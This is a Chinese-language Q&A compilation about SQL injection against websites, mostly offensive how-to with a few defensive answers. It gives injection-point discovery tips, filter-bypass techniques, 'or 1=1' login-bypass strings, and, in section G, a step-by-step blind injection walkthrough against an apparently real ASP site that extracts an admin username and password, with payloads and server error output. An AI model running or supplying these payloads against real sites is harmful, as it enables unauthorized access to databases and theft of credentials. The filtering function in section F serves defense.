A. .html的網站怎麼注入
就在你要注入的網站後加後綴.html就可以了
B. 怎麼找一個網站的注入點
site: google檢測你所有的版面,然後再用啊d對每個版面檢測,一般都可以檢測出來注入點了
C. 怎麼注入網站最好給個實例
最簡單的表單注入:一個登陸界面,需要輸入用戶名和密碼。假設資料庫對用戶名密碼的處理為select * from table where name=』"+user+"』and password=』"+passwd+"』"
那麼用戶名輸入xxx,密碼輸入1』or 』1』= 』1,則sql語句就成為
select * from table where name=』xxx』and password=』1』or』1』=』1』
這樣就會列出用戶名為xxx的相關數據,注入成功。
D. 如何對一個網站進行SQL注入攻擊
1.POST注入,通用防注入一般限制get,但是有時候不限制post或者限制的很少,這時候你就可以試下post注入,比如登錄框、搜索框、投票框這類的。另外,在asp中post已被發揚光大,程序員喜歡用receive來接受數據,這就造成了很多時候get傳遞的參數通過post/cookie也能傳遞,這時如果恰好防注入程序只限制了get,因此post注入不解釋
2.cookie注入,原理同post注入,繞過相當多通用防注入
3.二次注入,第一次注入的數據可能不會有效,但是如果將來能在某個頁面裡面被程序處理呢?注入來了……
4.csrf,適合後台地址已知並且存在已知0day,可以試試用csrf劫持管理員來進行操作(這招其實不屬於sql注入了)
5.打碎關鍵字,比如過濾select,我可以用sel/**/ect來繞過,這招多見於mysql
6.有時候也可以sELeCT這樣大小寫混淆繞過
7.用chr對sql語句編碼進行繞過
8.如果等於號不好使,可以試試大於號或者小於號,如果and不好使可以試試or,這樣等價替換
9.多來幾個關鍵字確定是什麼防注入程序,直接猜測源碼或者根據報錯關鍵字(如"非法操作,ip地址已被記錄")把源碼搞下來研究
10.記錄注入者ip和語句並寫入文件或資料庫,然而資料庫恰好是asp的,插馬秒殺
E. 如何在網頁裡面注入代碼
utf-8的編碼吧
首先找到你的備份文件,將TOP,HEAD,FOOT,CONN,之類的常用文件名改個名,稍復雜點他就找不到了,這種注入都是自動批量的注入,沒有什麼針對性,然後將改過名的文件包含到網頁中。
這是治標,治本的話,還是要從程序結構,語句,上傳這三塊著手。
F. 網站注入需要哪些知識
簡單的,通過類型識別來防
'SQL安全檢測函數
Function CheckStr(str,strType)
Dim strTmp
strTmp = ""
If strType ="s" Then
strTmp = Replace(Trim(str),"'","''")
strTmp = Replace(strTmp,";","")
ElseIf strType="i" Then
If IsNumeric(str)=False Then str=False
strTmp = str
Else
strTmp = str
End If
CheckStr= strTmp
End Function
把這函數放在你頁面代碼里,你的接收參數可以這樣寫
<%
yxzy=CheckStr(Request("yxzy"),"s")
%>
上面是指字元串型,如果你的參數是數字型,比方id
<%
id=Request("id")
%>
那麼安全的,你可以這么寫:
yxzy=CheckStr(Request("yxzy"),"i")
用這個函數就可以過濾sql注入。
復雜的,可以過濾關鍵字和通過正則表達式來識別
程序可以看到源代碼,很適合學習
SQL通用防注入程序 v3.1 最終紀念版
http://js.down.chinaz.com/Z2006O999/%C6%E4%CB%FC%C0%E0%B1%F0/FySqlX3.1.rar
用這個吧``裡面有使用說明``很簡單的``
neeao.txt文件里有說明,使用方法很簡單,,
只要在需要防注入的頁面頭部用
<!--#Include File="Neeao_SqlIn.Asp"-->
就可以做到頁面防注入~~
如果想整站防注,就在網站的一個公用文件中,如資料庫鏈接文件conn.asp中!
添加<!--#Include File="Neeao_SqlIn.Asp"-->來調用本軟體
需要注意的是,在添加到資料庫連接文件中,為了不和程序發生沖突,
需添加在文件代碼的最底部!
G. 怎麼可以找可以注入的網站
用啊D,另外手工注入方法:
實例:_blank>http://www.XXX.com/jiaren.asp?ID=544
好下面開始了.....
1.判斷
用' ;
用 and 1=1 and 1=2
判斷是很重要並且最主要的一步,因為如果你手工注入不判斷那麼怎麼繼續呢..
============================================================================
' 返回
Microsoft JET Database Engine 錯誤 '80040e14'
語法錯誤 (操作符丟失) 在查詢表達式 'ID = 544''' 中。
/jiaren.asp,行15
============================================================================
; 返回正常頁面
===============================
and 1=1 返回正常頁面
================================
and 1=2 返回錯誤頁面
編號:
ADODB.Field 錯誤 '800a0bcd'
BOF 或 EOF 中有一個是"真",或者當前的記錄已被刪除,所需的操作要求一個當前的記錄。
/jiaren.asp,行28
==============================================================================
上面我們進行了簡單的判斷,可以知道該頁面存在注入.這個時候會有很多朋友要問,這樣為什麼就存在注入呢.呵呵你只要記住我們就是靠返回頁面的不同來判斷的.只有它兩次返回頁面不相同那麼就可以知道存在了.
2.猜表
and 0<>(select count(*) from *)
這個就最基礎,最大眾話的查詢語句了.至於語句的作用我會給大家說明.但是具體的意思請大家自行找有關SQL查詢的資料看.
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
其中admin是可以換的,其他部分不要換.
我們剛剛返回的是正確頁面說明存在admin這張表.如果返回錯誤說明不存在,那麼我們就要換其他的.如: and 0<>(select count(*) from user) 當然啦,只要你想到都可以試試.那天我在課上我給了大家兩個提示,沒有想到很多人居然就知道這兩個了.還問我把admin , user 換成其他的可不可以.同志們,這個admin user 是可以替換的.但是,不是隨便換你要想一下平時人家都是用什麼名稱來做表名.因為你是在猜表,也要有思路的猜不是亂猜.換成123 456 那有用嗎.沒有用因為沒有誰會用這個去做表的名稱.
一般的表的名稱無非是admin adminuser user pass password 等..
3.猜帳號數目
and 0<(select count(*) from admin)
大家會發現和上面的語句差不多.呵呵其實查詢部分就是一樣不同的是前面的數字.這個數字就是去看看有幾個用戶帳號.是要換的哦.不是固定是1..因為我們是猜呀.也就是現在我們也不知道它表裡面數據到底有幾個帳號所以要猜,如果固定的那麼就不叫猜了呵呵..
1< 就是說看看 1是不是小於裡面的帳號數目 如果返回的頁面是正確的說明是對的,如果錯誤的說明不是的那麼我們就要換成 2< 3< ..... 當然啦你也可以用1> 2> 來猜.
如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個 具體的數學上面判斷大小不會要我去教你們了吧.
下面我做給你們看,這里我是從0開始判斷 呵呵返回正確頁面肯定會返回的因為裡面不可能一個管理員帳號都沒有的. 返回錯誤了哦.說明什麼他裡面就只有一個管理員帳號.我們換成1=看看是不是 OK返回正確頁面說明是的.
如果裡面有幾個帳號這個時候大家就要知道具體猜哪個帳號了.
4.猜解欄位名稱
and 1=(select count(*) from admin where len(name)>0) 用戶欄位名稱
and 1=(select count(*) from admin where len(password)>0) 密碼欄位名稱
猜解表裡面的欄位名稱了
and 1=(select count(*) from admin where len(*)>0)--- 這個是核心語句哦也是大眾話的語句.我們要做的就是在len( ) 括弧裡面加上我們想到的欄位名稱.
我們先來猜用戶名欄位 我用的是 name OK對了.那麼下面我們就來猜密碼欄位了.
我先用pass 暈死不是的,那麼我們再換成password看看 ok對了.
那麼用戶欄位和密碼欄位我們都猜解出來了.下面就是猜解長度和具體的字元了.
5.猜解各個欄位的長度
猜解長度就是把
and 1=(select count(*) from admin where len(*)>0)
>0 換成其他的只道猜到=?返回正確頁面為止,好,下面我們開始吧.
首先是帳號長度...剛剛帳號欄位是name
and 1=(select count(*) from admin where len(name)>0) 正確
and 1=(select count(*) from admin where len(name)>1) 正確
and 1=(select count(*) from admin where len(name)>2) 正確
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確
and 1=(select count(*) from admin where len(name)>4) 正確
那麼我們就可以知道長度是 6
and 1=(select count(*) from admin where len(name)=6) 正確
呵呵對了吧,=6返回的是正確頁面.
下面是密碼欄位的長度
and 1=(select count(*) from admin where len(password)>0) 正確
and 1=(select count(*) from admin where len(password)>6) 正確
and 1=(select count(*) from admin where len(password)>10) 正確
and 1=(select count(*) from admin where len(password)>15) 錯誤
and 1=(select count(*) from admin where len(password)>14) 錯誤
and 1=(select count(*) from admin where len(password)>13) 錯誤
and 1=(select count(*) from admin where len(password)>12) 錯誤
and 1=(select count(*) from admin where len(password)>11) 正確
OK長度是 12
name 6
password 12
長度出來了,下面就是具體的字元了
6.猜解字元
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶
and 1=(select count(*) from admin where left(password,1)='a')
就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密碼
left(name,1)='a' 注意了 1的位置就是你要猜解的字元的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用戶帳號的第二位
就這樣下去只到猜玩為止.
and 1=(select count(*) from admin where left(name,1)='a') 錯誤
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因為這個猜解過程比較漫長所以我就直接給出答案了.
and 1=(select count(*) from admin where left(password,1)='a') 錯誤
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接給出了答案.
name = pclzyq
password = pclzyq000215
7.找出登陸口,進行登陸
一般的登陸口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去積累..積累多了不要忘了做成文本文件傳給我哦.^_^
我們這里登陸口是 _blank>http://www.talewin.com/admin.asp 下面就是進行登陸了.
呵呵,後台簡單吧寫這個程序的人估計也很簡單因為他這個登陸口還存在另外一個問題.
用 'or''=' 進行登陸看看 , 看見了吧也可以進去哦.呵呵
說明:
命令:select
中文意思:選擇
說明:用於找出合乎條件的記錄
加總函數:COUNT
中文意思:數量
說明:用於求指定的數量
子句:FROM
中文意思:數據表
說明:用於指定數據表
子句:where
中文意思:條件
說明:用於設定條件
運算符:AND
中文意思:並且
說明:邏輯且
TOP --取出前面的指定長度數據
select top 10 * from .....
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 這個查詢語句可以猜解中文的用戶和密碼.只要大家把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
H. 如何注入網站
要看是不是有可注入點,如果沒有的話,也是沒有辦法的!如果有的話,你直接弄一個頁面來就OK了!
I. 什麼是網站注入
1 瀏覽器的地址條
假設 在你寫程序的時候有這樣的語句
A.ASP?ID=35
程序里sql : Select * from 表 Where id="&id
這里的結果本來是
執行結果sql : Select * from 表 Where id=35
這里 如果 id里的值 並不是35 而是 (35 or 另有用途的SQL語句)那麼就會在去執行相應的SQL語句 達到知道資料庫里的帳戶密碼的信息
如:地址欄上在後面 A.ASP?ID=35 or 1=1
則 執行的結果就成了 sql : Select * from 表 Where id=35 or 1=1
如果 黑客用的不僅僅是 or 1=1 還有其他 破壞的語句 把整個表刪除都可以
這個是第一種情況
2 通過 登陸筐注入
如 有一個 用戶筐和一個密碼
判斷 資料庫中的 SQL語句大多數人是這樣寫的
Select * from 用戶表 Where 用戶名=用戶名表單提交過來的值 and 密碼=用戶密碼表單提交過來的值
如果黑客 在 用戶名中輸入 任意字元 如 2323
Select * from 用戶表 Where 用戶名=2323 and 密碼=232 OR 1=1
這樣 用戶就無條件接受這個數據成立 結果變是最前一條數據 而且經常是最高用戶這個也是程序員經常放的錯誤